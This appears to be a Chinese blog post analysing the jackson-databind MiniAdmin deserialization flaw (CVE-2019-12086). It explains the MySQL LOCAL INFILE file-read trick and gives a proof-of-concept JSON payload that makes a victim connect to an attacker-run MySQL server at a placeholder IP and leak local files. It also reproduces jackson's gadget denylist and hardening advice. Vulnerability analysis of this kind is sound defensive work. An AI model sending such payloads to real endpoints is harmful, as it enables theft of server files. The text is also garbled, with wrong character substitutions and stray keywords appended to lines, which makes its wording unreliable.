A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.javascript
使用了jackson-databind 2.x before 2.9.9的Java应用,若是ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在于MySQL的JDBC驱动中)这个类,那么Java应用所在的服务器上的文件,就可能被任意读取并传送到恶意的MySQL Server。具体原理下面分析。html
public class Person { public String name; public int age; public PhoneNumber phone; } abstract class PhoneNumber { public int num; } public class InternationalNumber extends PhoneNumber { public int areaCode; } public class DomesticNumber extends PhoneNumber { }
一个序列化后的样例:java
{ "name" : "Bob", "age" : 28. "phone" : { "areaCode" : 555, "num" : 1234567 } }
序列化后类型消失,反序列化时由于PhoneNumber是抽象类,不知道该建立哪个子类的对象。python
Jackson解决序列化时不知道类型的问题,能够用Default Typing:mysql
ObjectMapper om = new ObjectMapper(); om.enableDefaultTyping(); Person p = new Person(); p.name = "Bob"; p.age = 28; InternationalNumber phone = new InternationalNumber(); phone.areaCode = 555; phone.num = 1234567; p.phone = phone; System.out.println(om.writeValueAsString(p));
{ "name":"Bob", "age":28, "phone":["jackson.InternationalNumber",{"num":1234567,"areaCode":555}] }
也有其它方法,再也不赘述了,异曲同工,都是在JSON中增长数据类型信息,这样反序列化的时候Jackson就知道了该使用哪个类来建立对象。git
MySQL支持使用LOAD DATA LOCAL INFILE这样的语法,将客户端本地的文件中的数据insert到MySQL的某张表中。挺好的功能,就是协议设计的有点怪,大概是这个样子的:github
这个协议的问题是,客户端发送哪一个文件的内容,取决于第3步,服务端要哪一个文件,若是服务端是个恶意的MySQL,那么他能够读取客户端的任意文件,好比读取/etc/passwd:spring
并且,在大部分客户端(好比MySQL Connector/J )的实现里,第一、2步不是必须的,客户端发送任意查询给服务端,服务端均可以返回文件发送的请求。而大部分客户端在链接创建以后,都会有一些查询服务端配置之类的查询,因此使用这些客户端,只要建立了到恶意MySQL的链接,那么客户端所在服务器上的全部文件均可能泄露。sql
引用MySQL官方文档以下:apache
In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement.
MySQL的JDBC驱动有一个建立链接的配置项allowLoadLocalInfile,用来控制是否容许从本地读取文件,默认值是true,也就是容许。
不清楚具体从哪一个版本开始,MySQL的JDBC驱动多了这么一个类com.mysql.cj.jdbc.admin.MiniAdmin,可能没什么人用过,它有一个特色,就是在构造方法里会建立一个到指定url的JDBC链接。
public class MiniAdmin { private JdbcConnection conn; public MiniAdmin(String jdbcUrl) throws SQLException { this(jdbcUrl, new Properties()); } public MiniAdmin(String jdbcUrl, Properties props) throws SQLException { this.conn = (JdbcConnection) (new Driver().connect(jdbcUrl, props)); } ... }
以上两个问题,就致使只要使用恶意MySQL的url做为参数建立一个com.mysql.cj.jdbc.admin.MiniAdmin对象,就能够读取任意文件。
首先建立一个恶意的MySQL,能够使用https://github.com/Gifts/Rogue-MySql-Server。这个server读取客户端文件,并写入到mysql.log中。
假设启动在ip:X.X.X.X上面,那么在客户端执行以下代码,执行代码所在的机器上的c:\windows\win.ini文件内容就会出如今mysql.log中。
ObjectMapper om = new ObjectMapper(); om.enableDefaultTyping(); String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]"; Object obj = om.readValue(poc, Object.class);
端口号和文件号在Rogue-MySql-Server中写死了,能够打开任意修改,就是个python的脚本。
以上是POC,在实际的生产环境中,能够经过往一些接受JSON参数的接口发送恶意的JSON数据来达成攻击的目的。
MySQL Connector/J 8.0.15开始将allowLoadLocalInfile默认值设置为false。具体见这里
从2.9.9版本开始,将com.mysql.cj.jdbc.admin.MiniAdmin加入反序列化黑名单:
static { Set<String> s = new HashSet<String>(); // Courtesy of [https://github.com/kantega/notsoserial]: // (and wrt [databind#1599]) s.add("org.apache.commons.collections.functors.InvokerTransformer"); s.add("org.apache.commons.collections.functors.InstantiateTransformer"); s.add("org.apache.commons.collections4.functors.InvokerTransformer"); s.add("org.apache.commons.collections4.functors.InstantiateTransformer"); s.add("org.codehaus.groovy.runtime.ConvertedClosure"); s.add("org.codehaus.groovy.runtime.MethodClosure"); s.add("org.springframework.beans.factory.ObjectFactory"); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); s.add("org.apache.xalan.xsltc.trax.TemplatesImpl"); // [databind#1680]: may or may not be problem, take no chance s.add("com.sun.rowset.JdbcRowSetImpl"); // [databind#1737]; JDK provided s.add("java.util.logging.FileHandler"); s.add("java.rmi.server.UnicastRemoteObject"); // [databind#1737]; 3rd party //s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855] s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean"); // s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931] // s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" - // [databind#1855]: more 3rd party s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource"); s.add("com.sun.org.apache.bcel.internal.util.ClassLoader"); // [databind#1899]: more 3rd party s.add("org.hibernate.jmx.StatisticsService"); s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"); // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities s.add("org.apache.ibatis.parsing.XPathParser"); // [databind#2052]: Jodd-db, with jndi/ldap lookup s.add("jodd.db.connection.DataSourceConnectionProvider"); // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup s.add("oracle.jdbc.connector.OracleManagedConnectionFactory"); s.add("oracle.jdbc.rowset.OracleJDBCRowSet"); // [databind#2097]: some 3rd party, one JDK-bundled s.add("org.slf4j.ext.EventData"); s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor"); s.add("com.sun.deploy.security.ruleset.DRSHelper"); s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl"); // [databind#2186]: yet more 3rd party gadgets s.add("org.jboss.util.propertyeditor.DocumentEditor"); s.add("org.apache.openjpa.ee.RegistryManagedRuntime"); s.add("org.apache.openjpa.ee.JNDIManagedRuntime"); s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo"); // [databind#2326] (2.9.9): one more 3rd party gadget s.add("com.mysql.cj.jdbc.admin.MiniAdmin"); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }
如下是Jackson做者的建议:
Try to keep up with updated versions of Jackson (jackson-databind): it should always be safe to upgrade to the latest patch version of given minor version (safest in the sense they should be no breaking changes to functionality)
If possible, AVOID enabling default typing (since it is usually class name based). It is better to be explicit about specifying where polymorphism is needed.
AVOID using java.lang.Object (or, java.util.Serializable) as the nominal type of polymorphic values, regardless of whether you use per-type, per-property, or Default Typing
If possible USE “type name” and NOT classname as type id: @JsonTypeInfo(use = Id.NAME) — this may require annotation of type name (see @JsonTypeName and @JsonSubTypes)
我的觉着最重要是第3点,避免使用Object对象做为Jackson反序列化的目标。
https://github.com/FasterXML/jackson-databind/issues/2326 https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/ https://lightless.me/archives/read-mysql-client-file.html http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/load-data-local.html https://nvd.nist.gov/vuln/detail/CVE-2019-12086